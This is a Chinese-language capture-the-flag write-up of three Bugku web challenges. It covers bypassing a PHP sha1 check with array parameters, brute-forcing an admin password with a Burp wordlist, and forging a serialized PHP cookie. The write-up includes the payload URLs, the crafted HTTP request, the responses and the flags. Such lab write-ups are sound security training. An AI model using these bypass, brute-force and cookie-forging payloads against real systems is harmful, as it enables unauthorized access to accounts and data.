题目源于bugku web

各种绕过哟

解题

<?php
highlight_file('flag.php');
// 将id变量获取的值进行url解码
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
// 变量存在验证
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
// 两者不相等
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
// 两者散列算法相等
// 尝试使用相等sha1的参数,实验了半天都是false,尝试绕过:数组绕过
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>


// 构造payload
// get传参部分
http://114.67.175.224:11696/
?uname[]=hello
&id=margin
// post部分
passwd[]=HELLO

// 得到flag
Flag: flag{9e678a37c93533fc0bf8c99bd3ea5fe1}

这里使用的是火狐的hackbar插件,bp需要加上:
Content-Type: application/x-www-form-urlencoded

总结

代码审计-数组绕过

需要管理员

解题

head
head
head
head
head
爆破出密码
head
head

结论

BP字典爆破
后台目录文件扫描

点login咋没反应

解题

head
head

  • 尝试在有限的html源代码当中进行翻找,仅仅找到一个css的src。
  • 尝试进行目录扫描,扫到的除了index.php,还有一个没有展示代码的flag.php

head

尝试访问

http://114.67.175.224:16422?23327

获得源代码

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['23327'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
?>

核心代码

$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['23327'])){
show_source(__FILE__);
}
// 将$cookie反序列化后,值等于ctf.bugku.com。
// 与之相对应的是serialize()
// 序列化的结果ctf.bugku.com。 ==> s:13:"ctf.bugku.com"
// 插入数据包:BUGKU=s:13:"ctf.bugku.com"
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}

数据包配置成下面即可。提交表单的方式是自己构造一个表单,使用get方式提交到指定地址。

GET /index.php HTTP/1.1
Host: 114.67.175.224:16422
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:63342/
Cookie: BUGKU=s:13:"ctf.bugku.com";
Upgrade-Insecure-Requests: 1

得到flag数据包

HTTP/1.1 200 OK
Date: Fri, 21 Apr 2023 09:21:28 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Content-Length: 38
Connection: close
Content-Type: text/html

flag{5dbc2bf735b5715dfdae97b6e7b85478}

flag

结论

在做测试时,网站的src资源要尽可能的利用起来,每一个src资源说不定都是突破口。